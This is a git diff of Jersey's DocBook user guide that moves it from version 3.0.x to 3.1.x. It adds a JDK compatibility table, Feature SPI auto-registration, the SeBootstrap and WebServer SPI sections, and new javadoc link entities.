@@ -29,24 +29,31 @@ xml:id="modules-and-dependencies"> <title>Modules and dependencies</title> - <section> + <section xml:id="se_compatibility"> <title>Java SE Compatibility</title> <para> - <emphasis>3.0.x branch: </emphasis> + <emphasis>3.1 branch: </emphasis> <itemizedlist> <listitem> - <para>This user guide refers only to version 3.0.x of Jersey, its compatibility is described below.</para> + <para>This user guide refers only to version 3.1.x of Jersey, its compatibility is described below.</para> </listitem> <listitem> - <para>Jersey 3.0.x components are compiled with Java SE 1.8 target. - It means, that you will need at least Java SE 1.8 to be able to compile and run your application - which uses the latest Jersey 3.0.x. All modules are also fully compatible with JDK 11 and above - depending on Jersey version. + <para>Since version 3.1.0 all Jersey components are compiled with Java SE 11 target. + It means, that you will need at least Java SE 11 to be able to compile and run your application + which uses the latest Jersey 3.1.x. + Some modules, however, are fully compatible with JDK 17 and above (Jetty modules based on Jetty 12 + [since 3.1.4], Helidon Connector, Spring 6). + </para> + </listitem> + <listitem> + <para> + Please see <xref linkend="migration"/> for additional compatibility information. </para> </listitem> </itemizedlist> <table pgwide="1" frame='all' xml:id="jersey-jdk-compatibility"> - <title>Jersey 3.0.x JDK compatibility</title> + <title>Jersey 3.1.x JDK compatibility</title> <tgroup cols='3' align='center' colsep='1' rowsep='1'> <colspec colname='c1'/> <colspec colname='c2'/> @@ -59,21 +66,14 @@ </row> </thead> <tbody> - <row><entry>3.0.0</entry><entry>1.8</entry><entry>16</entry></row> - <row><entry>3.0.1</entry><entry>1.8</entry><entry>16</entry></row> - <row><entry>3.0.2</entry><entry>1.8</entry><entry>17</entry></row> - <row><entry>3.0.3</entry><entry>1.8</entry><entry>18</entry></row> - <row><entry>3.0.4</entry><entry>1.8</entry><entry>18</entry></row> - <row><entry>3.0.5</entry><entry>1.8</entry><entry>19</entry></row> - <row><entry>3.0.6</entry><entry>1.8</entry><entry>19</entry></row> - <row><entry>3.0.7</entry><entry>1.8</entry><entry>19</entry></row> - <row><entry>3.0.8</entry><entry>1.8</entry><entry>19</entry></row> - <row><entry>3.0.9</entry><entry>1.8</entry><entry>20</entry></row> - <row><entry>3.0.10</entry><entry>1.8</entry><entry>20</entry></row> - <row><entry>3.0.11</entry><entry>1.8</entry><entry>21</entry></row> - <row><entry>3.0.12</entry><entry>1.8</entry><entry>22</entry></row> - <row><entry>3.0.13</entry><entry>1.8</entry><entry>23</entry></row> - <row><entry>3.0.14</entry><entry>1.8</entry><entry>23</entry></row> + <row><entry>3.1.0</entry><entry>11</entry><entry>19</entry></row> + <row><entry>3.1.1</entry><entry>11</entry><entry>19</entry></row> + <row><entry>3.1.2</entry><entry>11</entry><entry>21</entry></row> + <row><entry>3.1.3</entry><entry>11</entry><entry>21</entry></row> + <row><entry>3.1.4</entry><entry>11</entry><entry>22</entry></row> + <row><entry>3.1.5</entry><entry>11</entry><entry>22</entry></row> + <row><entry>3.1.6</entry><entry>11</entry><entry>23</entry></row> + <row><entry>3.1.7</entry><entry>11</entry><entry>23</entry></row> </tbody> </tgroup> </table> @@ -207,7 +207,12 @@ <artifactId>jersey-apache-connector</artifactId> <version>&version;</version> </dependency> -<!-- Requires JDK 11+ --> +<dependency> + <groupId>org.glassfish.jersey.connectory</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <version>&version;</version> +</dependency> +<!-- Requires JDK 17+ --> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>jersey-jetty-connector</artifactId>
diff --git a/docs/src/main/docbook/deployment.xml b/docs/src/main/docbook/deployment.xml index 474fd63..9fac43c 100644 --- a/docs/src/main/docbook/deployment.xml +++ b/docs/src/main/docbook/deployment.xml
@@ -110,6 +110,9 @@ classpath, unless explicitly stated otherwise in the documentation of each particular extension. Users are expected to explicitly register the extension &jaxrs.core.Feature;s using their &lit.jaxrs.core.Application; subclass. + Since Jersey 3.1.0 all features which extends &jaxrs.core.Feature; and are listed as SPI of the &lit.jaxrs.core.Feature; + interface are automatically registered (not required to be registered within &lit.jaxrs.core.Application; subclass). + For server site Jersey 3.1.0 also registers SPIs for &lit.jaxrs.container.DynamicFeature; interface. For a few Jersey provided modules however there is no need to explicitly register their extension &lit.jaxrs.core.Feature;s as these are discovered and registered in the &jaxrs.core.Configuration; (on client/server) automatically by Jersey runtime whenever the modules implementing these features are present on the classpath @@ -193,6 +196,17 @@ </section> </section> + <section xml:id="deployment.feature.dynamicFeature"> + <title>Feature and Dynamic Feature SPI automatic registration</title> + <para> + Since Jersey 3.1.0 there is a new specification requirement to automatically discover and register classes that + implement &jaxrs.core.Feature; and &jaxrs.container.DynamicFeature; interfaces. This is being done via SPI search + thus all those classes in order to be discovered automatically shall be listed as SPIs for given interfaces. + This automatic registration can also be disabled by <literal>jakarta.ws.rs.loadServices</literal> + (which is new specification property) to be set to false. This is also valid for + &jersey.common.CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE; lookup. + </para> + </section> <section xml:id="deployment.classpath-scanning"> <title>Configuring the Classpath Scanning</title> @@ -207,6 +221,12 @@ <itemizedlist> <title>List of SPIs recognized by Jersey</title> <listitem> + <para>&lit.jaxrs.core.Feature; (server, client) - + Features are being registered similarly to AutoDiscoverable feature. In addition + property jakarta.ws.rs.loadServices is checked before registration. + </para> + </listitem> + <listitem> <para><literal>AutoDiscoverable</literal> (server, client) - it means if you disable service loading the AutoDiscoverable feature is automatically disabled too</para> </listitem> @@ -218,6 +238,10 @@ <para><literal>HeaderDelegateProvider</literal> (server, client)</para> </listitem> <listitem> + <para>&lit.jaxrs.container.DynamicFeature; (server) - + Similar to &lit.jaxrs.core.Feature; registration but only for server.</para> + </listitem> + <listitem> <para><literal>ComponentProvider</literal> (server)</para> </listitem> <listitem> @@ -484,6 +508,88 @@ </note> </section> </section> + + <section xml:id="deployment.bootstrap.api"> + <title>Jakarta REST Bootstrap API</title> + <para> + Jakarta REST 3.1 comes with a new API for starting an application in Java SE environment. This + <literal>Bootstrap</literal> API is mainly represented by &lit.jaxrs.SeBootstrap; interface. + The Jakarta REST application is started as follows: + <programlisting language="java">Application application = new MyApplication(); +SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder(); +CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, configBuilder.build());</programlisting> + </para> + <para> + Later, when the SE application is no longer needed, it can be shutdown as follows: + <programlisting language="java">CompletionStage<SeBootstrap.Instance> completionStage = ... +SeBootstrap.Instance instance = completionStage().get(); +instance.stop();</programlisting> + </para> + <para> + The &lit.jaxrs.SeBootstrap.Configuration; allows for configuring the Jersey runtime. The Jakarta REST 3.1 allows + for configuring the HTTP port, the protocol (HTTP), the hostname, the root path, and SSL. The + &lit.jaxrs.SeBootstrap; is configured as follows: + <programlisting language="java">SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder(); +configBuilder.property(SeBootstrap.Configuration.PROTOCOL, "HTTP") + .property(SeBootstrap.Configuration.HOST, "localhost") + .property(SeBootstrap.Configuration.PORT, 1234) + .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path");</programlisting> + </para> + <para> + The &lit.jaxrs.SeBootstrap; deployment is backed up by an HTTP server described in + <xref linkend="deployment.http"/>. If multiple Jersey container modules are on the classpath, + the first found is used. + </para> + </section> + + <section xml:id="deployment.webserver.spi"> + <title>Jersey WebServer SPI</title> + <para> + Jersey &jersey.server.spi.WebServer; and &jersey.server.spi.WebServerProvider; are SPI interfaces similar to + &jersey.server.spi.ContainerProvider; but they are used for the SE deployment. They serve as a bridge between + Jersey containers and &lit.jaxrs.SeBootstrap; API. + The Jakarta REST application can be started as follows: + <programlisting language="java">Application application = new MyApplication(); +SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder(); +WebServer webServer = WebServerFactory.createServer(WebServer.class, application, configBuilder.build());</programlisting> + </para> + <para> + Later, when the SE application is no longer needed, it can be shutdown as follows: + <programlisting language="java">WebServer webServer = ... +webServer.stop();</programlisting> + </para> + <para> + &jersey.server.WebServerFactory; is used to automatically choose among available implementations on a classpath. + If there are multiple implementations available, the first found is used. The user can choose the implementation + of a &lit.jersey.server.spi.WebServer; by a concrete WebServer subclass, for instance: + <programlisting language="java"> +WebServer webServer = WebServerFactory.createServer(GrizzlyHttpServer.class, application, configBuilder.build());</programlisting> + Another way to choose the &lit.jersey.server.spi.WebServer; implementation is by the + &lit.jersey.server.spi.WebServerProvider; implementation: + <programlisting language="java"> +WebServer webServer = GrizzlyHttpServerProvider.createServer(WebServer.class, application, configBuilder.build());</programlisting> + </para> + <para> + For additional customization of the WebServer settings, see <xref linkend="appendix-properties-webserver"/>. + </para> + </section> + + <warning xml:id="ports.warning" xreflabel="Default ports"> + <para> + When the port is set to -1, the default ports are used. + Unlike the default ports used by the <xref linkend="deployment.http"/>, the &lit.jaxrs.SeBootstrap; API and + &lit.jersey.server.spi.WebServer; SPI use default ports 8080 and 8443, respectively. + </para> + <para> + When the port is set to 0, the implementation scans for a free port. The privileged ports are skipped, and the + scanning starts with port 1024. + </para> + <para> + Using the restricted ports can be ensured either by setting directly the port, or by setting + &jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS; property to true in the + &lit.jaxrs.SeBootstrap.Configuration; + </para> + </warning> </section> <section xml:id="deployment.jaxrs.endpoint">
diff --git a/docs/src/main/docbook/jaxrs-resources.xml b/docs/src/main/docbook/jaxrs-resources.xml index d6cb100..884209d 100644 --- a/docs/src/main/docbook/jaxrs-resources.xml +++ b/docs/src/main/docbook/jaxrs-resources.xml
@@ -480,6 +480,11 @@ </example> </para> + <para> + For quicker getting of values for a known header name there is a shortcut for <literal>hh.getRequestHeaders().get(name)</literal> + which is <literal>hh.getRequestHeader(name)</literal>. + </para> + <para>In general &jaxrs.core.Context; can be used to obtain contextual Java types related to the request or response. </para>
diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent index 52b8a74..614c765 100644 --- a/docs/src/main/docbook/jersey.ent +++ b/docs/src/main/docbook/jersey.ent
@@ -28,6 +28,7 @@ <!ENTITY jaxb-api-jar.version "$jaxb-api-jar-version"> <!ENTITY jax-rs.version "$jax-rs-api-jar-version"> <!ENTITY jax-rs21.version "2.1.6"> +<!ENTITY jax-rs31.spec.version "3.1"> <!ENTITY jakarta.el.version "$jakarta.el-version"> <!ENTITY jakarta.el-impl.version "$jakarta.el-impl-version"> <!ENTITY jax-rs-api-jar.version "$jax-rs-api-jar-version"> @@ -60,6 +61,7 @@ <!ENTITY jaxrs.release.uri "https://github.com/eclipse-ee4j/jaxrs-api"> <!ENTITY jaxrs.javadoc.uri "https://jakartaee.github.io/rest/apidocs/&jax-rs.version;/jakarta/ws/rs"> <!ENTITY jaxrs21.javadoc.uri "https://jakartaee.github.io/rest/apidocs/&jax-rs21.version;/javax/ws/rs"> +<!ENTITY jaxrs31.spec.uri "https://jakarta.ee/specifications/restful-ws/&jax-rs31.spec.version;/jakarta-restful-ws-spec-&jax-rs31.spec.version;.html"> <!ENTITY jsonb.javadoc.uri "https://jakarta.ee/specifications/jsonb/2.0/apidocs/jakarta/json/bind"> <!ENTITY jersey.documentation.uri "https://eclipse-ee4j.github.io/jersey.github.io"> @@ -215,6 +217,7 @@ <!ENTITY jaxrs.core.Configuration "<link xlink:href='&jaxrs.javadoc.uri;/core/Configuration.html'>Configuration</link>"> <!ENTITY jaxrs.core.Context "<link xlink:href='&jaxrs.javadoc.uri;/core/Context.html'>@Context</link>"> <!ENTITY jaxrs.core.Cookie "<link xlink:href='&jaxrs.javadoc.uri;/core/Cookie.html'>Cookie</link>"> +<!ENTITY jaxrs.core.EntityPart "<link xlink:href='&jaxrs.javadoc.uri;/core/EntityPart.html'>EntityPart</link>"> <!ENTITY jaxrs.core.EntityTag "<link xlink:href='&jaxrs.javadoc.uri;/core/EntityTag.html'>EntityTag</link>"> <!ENTITY jaxrs.core.Feature "<link xlink:href='&jaxrs.javadoc.uri;/core/Feature.html'>Feature</link>"> <!ENTITY jaxrs.core.FeatureContext "<link xlink:href='&jaxrs.javadoc.uri;/core/FeatureContext.html'>FeatureContext</link>"> @@ -234,6 +237,7 @@ <!ENTITY jaxrs.core.Response.Status "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.Status.html'>Response.Status</link>"> <!ENTITY jaxrs.core.Response.Status.Family "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.Status.Family.html'>Response.Status.Family</link>"> <!ENTITY jaxrs.core.Response.StatusType "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.StatusType.html'>Response.StatusType</link>"> +<!ENTITY jaxrs.core.SeBootstrap "<link xlink:href='&jaxrs.javadoc.uri;/SeBootstrap.html'>SeBootstrap</link>"> <!ENTITY jaxrs.core.SecurityContext "<link xlink:href='&jaxrs.javadoc.uri;/core/SecurityContext.html'>SecurityContext</link>"> <!ENTITY jaxrs.core.StreamingOutput "<link xlink:href='&jaxrs.javadoc.uri;/core/StreamingOutput.html'>StreamingOutput</link>"> <!ENTITY jaxrs.core.UriBuilder "<link xlink:href='&jaxrs.javadoc.uri;/core/UriBuilder.html'>UriBuilder</link>"> @@ -252,6 +256,7 @@ <!ENTITY jaxrs.ext.RuntimeDelegate.HeaderDelegate "<link xlink:href='&jaxrs.javadoc.uri;/ext/RuntimeDelegate.HeaderDelegate.html'>RuntimeDelegate.HeaderDelegate<T></link>"> <!ENTITY jaxrs21.sse.SseEventSink "<link xlink:href='&jaxrs21.javadoc.uri;/sse/SseEventSink.html'>SseEventSink</link>"> <!ENTITY jaxrs21.sse.Sse "<link xlink:href='&jaxrs21.javadoc.uri;/sse/Sse.html'>Sse</link>"> +<!ENTITY jaxrs31.exceptionMapperProvider "<link xlink:href='&jaxrs31.spec.uri;#exceptionmapper'>Exception Mapping Providers</link>"> <!ENTITY jdk6.Boolean "<link xlink:href='&jdk6.javadoc.uri;/java/lang/Boolean.html'>Boolean</link>"> <!ENTITY jdk6.CountDownLatch "<link xlink:href='&jdk6.javadoc.uri;/java/util/concurrent/CountDownLatch.html'>CountDownLatch</link>"> @@ -363,6 +368,7 @@ <!ENTITY jersey.client.ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#DIGESTAUTH_URI_CACHE_SIZELIMIT'>ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT</link>" > <!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE'>ClientProperties.EXPECT_100_CONTINUE</link>" > <!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE_THRESHOLD_SIZE'>ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE</link>" > +<!ENTITY jersey.client.ClientProperties.SNI_HOST_NAME "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#SNI_HOST_NAME'>ClientProperties.SNI_HOST_NAME</link>" > <!ENTITY jersey.client.ClientLifecycleListener "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientLifecycleListener.html'>ClientLifecycleListener</link>"> <!ENTITY jersey.client.Connector "<link xlink:href='&jersey.javadoc.uri.prefix;/client/spi/Connector.html'>Connector</link>"> <!ENTITY jersey.client.ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/client/spi/ConnectorProvider.html'>ConnectorProvider</link>"> @@ -491,11 +497,26 @@ <!ENTITY jersey.jetty.JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" > <!ENTITY jersey.jetty.JettyClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#TOTAL_TIMEOUT'>JettyClientProperties.TOTAL_TIMEOUT</link>" > <!ENTITY jersey.jetty.JettyConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyConnectorProvider.html'>JettyConnectorProvider</link>"> -<!ENTITY jersey.jetty.JettyHttp2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/http2/connector/JettyConnectorProvider.html'>JettyHttp2ConnectorProvider</link>"> +<!ENTITY jersey.jetty11.Jetty11Http2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/http2/connector/Jetty11ConnectorProvider.html'>Jetty11Http2ConnectorProvider</link>"> <!ENTITY jersey.jetty.JettyHttpContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainer.html'>JettyHttpContainer</link>"> <!ENTITY jersey.jetty.JettyHttpContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerFactory.html'>JettyHttpContainerFactory</link>"> <!ENTITY jersey.jetty.JettyHttpContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerProvider.html'>JettyHttpContainerProvider</link>"> <!ENTITY jersey.jetty.JettyWebContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/servlet/JettyWebContainerFactory.html'>JettyWebContainerFactory</link>"> +<!ENTITY jersey.jetty11.Jetty11ClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html'>Jetty11ClientProperties</link>" > +<!ENTITY jersey.jetty11.Jetty11HttpClientSupplier "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11HttpClientSupplier.html'>Jetty11HttpClientSupplier</link>" > +<!ENTITY jersey.jetty11.Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#ENABLE_SSL_HOSTNAME_VERIFICATION'>Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION</link>" > +<!ENTITY jersey.jetty11.Jetty11ClientProperties.DISABLE_COOKIES "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#DISABLE_COOKIES'>Jetty11ClientProperties.DISABLE_COOKIES</link>" > +<!ENTITY jersey.jetty11.Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#PREEMPTIVE_BASIC_AUTHENTICATION'>Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION</link>" > +<!ENTITY jersey.jetty11.Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" > +<!ENTITY jersey.jetty11.Jetty11ClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#TOTAL_TIMEOUT'>Jetty11ClientProperties.TOTAL_TIMEOUT</link>" > +<!ENTITY jersey.jetty11.Jetty11ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ConnectorProvider.html'>Jetty11ConnectorProvider</link>"> +<!ENTITY jersey.jnh.JavaNetHttpConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpConnectorProvider.html'>JavaNetHttpConnectorProvider</link>"> +<!ENTITY jersey.jnh.JavaNetHttpClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html'>JavaNetHttpClientProperties</link>"> +<!ENTITY jersey.jnh.JavaNetHttpClientProperties.COOKIE_HANDLER "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#COOKIE_HANDLER'>JavaNetHttpClientProperties.COOKIE_HANDLER</link>"> +<!ENTITY jersey.jnh.JavaNetHttpClientProperties.SSL_PARAMETERS "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#SSL_PARAMETERS'>JavaNetHttpClientProperties.SSL_PARAMETERS</link>"> +<!ENTITY jersey.jnh.JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#PREEMPTIVE_BASIC_AUTHENTICATION'>JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION</link>"> +<!ENTITY jersey.jnh.JavaNetHttpClientProperties.DISABLE_COOKIES "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#DISABLE_COOKIES'>JavaNetHttpClientProperties.DISABLE_COOKIES</link>"> +<!ENTITY jersey.jnh.JavaNetHttpClientProperties.HTTP_VERSION "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#HTTP_VERSION'>JavaNetHttpClientProperties.HTTP_VERSION</link>"> <!ENTITY jersey.linking.DeclarativeLinkingFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/linking/DeclarativeLinkingFeature.html'>DeclarativeLinkingFeature</link>"> <!ENTITY jersey.logging.LoggingFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/logging/LoggingFeature.html'>LoggingFeature</link>"> <!ENTITY jersey.logging.LoggingFeature.DEFAULT_LOGGER_NAME "<link xlink:href='&jersey.javadoc.uri.prefix;/logging/LoggingFeature.html#DEFAULT_LOGGER_NAME'>LoggingFeature.DEFAULT_LOGGER_NAME</link>"> @@ -643,11 +664,15 @@ <!ENTITY jersey.server.ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231 "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231'>ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231</link>" > <!ENTITY jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE'>ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE</link>" > <!ENTITY jersey.server.ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES'>ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES</link>" > +<!ENTITY jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_ALLOW_PRIVILEGED_PORTS'>ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS</link>" > +<!ENTITY jersey.server.ServerProperties.WEBSERVER_AUTO_START "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_AUTO_START'>ServerProperties.WEBSERVER_AUTO_START</link>" > +<!ENTITY jersey.server.ServerProperties.WEBSERVER_CLASS "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_CLASS'>ServerProperties.WEBSERVER_CLASS</link>" > <!ENTITY jersey.server.Uri "<link xlink:href='&jersey.javadoc.uri.prefix;/server/Uri.html'>Uri</link>"> <!ENTITY jersey.server.UriConnegFilter "<link xlink:href='&jersey.javadoc.uri.prefix;/server/filter/UriConnegFilter.html'>UriConnegFilter</link>"> <!ENTITY jersey.server.WadlFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/WadlFeature.html'>WadlFeature</link>"> <!ENTITY jersey.server.WadlGenerator "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/WadlGenerator.html'>WadlGenerator</link>"> <!ENTITY jersey.server.WadlGeneratorConfig "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/config/WadlGeneratorConfig.html'>WadlGeneratorConfig</link>"> +<!ENTITY jersey.server.WebServerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/server/WebServerFactory.html'>WebServerFactory</link>"> <!ENTITY jersey.server.model.MethodHandler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/model/MethodHandler.html'>MethodHandler</link>"> <!ENTITY jersey.server.model.ComponentModelValidator "<link xlink:href='&jersey.javadoc.uri.prefix;/server/model/ComponentModelValidator.html'>ComponentModelValidator</link>"> <!ENTITY jersey.server.monitoring.ApplicationEvent "<link xlink:href='&jersey.javadoc.uri.prefix;/server/monitoring/ApplicationEvent.html'>ApplicationEvent</link>"> @@ -690,6 +715,8 @@ <!ENTITY jersey.server.spi.ContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/ContainerProvider.html'>ContainerProvider</link>"> <!ENTITY jersey.server.spi.ExternalRequestScope "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/ExternalRequestScope.html'>ExternalRequestScope</link>"> <!ENTITY jersey.server.spi.RequestScopedInitializer "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/RequestScopedInitializer.html'>RequestScopedInitializer</link>"> +<!ENTITY jersey.server.spi.WebServer "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/WebServer.html'>WebServer</link>"> +<!ENTITY jersey.server.spi.WebServerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/WebServerProvider.html'>WebServerProvider</link>"> <!ENTITY jersey.servlet.ServletContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletContainer.html'>ServletContainer</link>"> <!ENTITY jersey.servlet.ServletProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletProperties.html'>ServletProperties</link>"> <!ENTITY jersey.servlet.ServletProperties.FILTER_CONTEXT_PATH "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletProperties.html#FILTER_CONTEXT_PATH'>ServletProperties.FILTER_CONTEXT_PATH</link>"> @@ -829,6 +856,8 @@ <!ENTITY lit.jaxrs.QueryParam "<literal>@QueryParam</literal>"> <!ENTITY lit.jaxrs.ReaderInterceptor "<literal>ReaderInterceptor</literal>"> <!ENTITY lit.jaxrs.ReaderInterceptorContext "<literal>ReaderInterceptorContext</literal>"> +<!ENTITY lit.jaxrs.SeBootstrap "<literal>SeBootstrap</literal>"> +<!ENTITY lit.jaxrs.SeBootstrap.Configuration "<literal>SeBootstrap.Configuration</literal>"> <!ENTITY lit.jaxrs.WebApplicationException "<literal>WebApplicationException</literal>"> <!ENTITY lit.jaxrs.WriterInterceptor "<literal>WriterInterceptor</literal>"> <!ENTITY lit.jaxrs.WriterInterceptorContext "<literal>WriterInterceptorContext</literal>"> @@ -862,6 +891,7 @@ <!ENTITY lit.jaxrs.core.Context "<literal>@Context</literal>"> <!ENTITY lit.jaxrs.core.Cookie "<literal>Cookie</literal>"> <!ENTITY lit.jaxrs.core.EntityTag "<literal>EntityTag</literal>"> +<!ENTITY lit.jaxrs.core.EntityPart "<literal>EntityPart</literal>"> <!ENTITY lit.jaxrs.core.Feature "<literal>Feature</literal>"> <!ENTITY lit.jaxrs.core.Form "<literal>Form</literal>"> <!ENTITY lit.jaxrs.core.GenericEntity "<literal>GenericEntity<T></literal>"> @@ -907,6 +937,7 @@ <!ENTITY lit.jdk6.InputStream "<literal>InputStream</literal>"> <!ENTITY lit.jdk6.JAXBElement "<literal>JAXBElement</literal>"> <!ENTITY lit.jdk6.KeyStore "<literal>KeyStore</literal>"> +<!ENTITY lit.jdk6.List "<literal>List</literal>"> <!ENTITY lit.jdk6.Number "<literal>Number</literal>"> <!ENTITY lit.jdk6.ObjectName "<literal>ObjectName</literal>"> <!ENTITY lit.jdk6.ParameterizedType "<literal>ParameterizedType</literal>"> @@ -1011,6 +1042,7 @@ <!ENTITY lit.jersey.jetty.JettyHttpContainerFactory "<literal>JettyHttpContainerFactory</literal>"> <!ENTITY lit.jersey.jetty.JettyHttpContainerProvider "<literal>JettyHttpContainerProvider</literal>"> <!ENTITY lit.jersey.jetty.JettyWebContainerFactory "<literal>JettyWebContainerFactory</literal>"> +<!ENTITY lit.jersey.jetty11.Jetty11ConnectorProvider "<literal>Jetty11ConnectorProvider</literal>"> <!ENTITY lit.jersey.linking.DeclarativeLinkingFeature "<literal>DeclarativeLinkingFeature</literal>"> <!ENTITY lit.jersey.logging.LoggingFeature "<literal>LoggingFeature</literal>"> <!ENTITY lit.jersey.logging.LoggingFeature.DEFAULT_LOGGER_NAME "<literal>LoggingFeature.DEFAULT_LOGGER_NAME</literal>"> @@ -1149,6 +1181,8 @@ <!ENTITY lit.jersey.server.oauth1.TokenResource "<literal>TokenResource</literal>"> <!ENTITY lit.jersey.server.spi.ComponentProvider "<literal>ComponentProvider</literal>"> <!ENTITY lit.jersey.server.spi.ContainerProvider "<literal>ContainerProvider</literal>"> +<!ENTITY lit.jersey.server.spi.WebServer "<literal>WebServer</literal>"> +<!ENTITY lit.jersey.server.spi.WebServerProvider "<literal>WebServerProvider</literal>"> <!ENTITY lit.jersey.servlet.ServletContainer "<literal>ServletContainer</literal>"> <!ENTITY lit.jersey.servlet.ServletProperties "<literal>ServletProperties</literal>"> 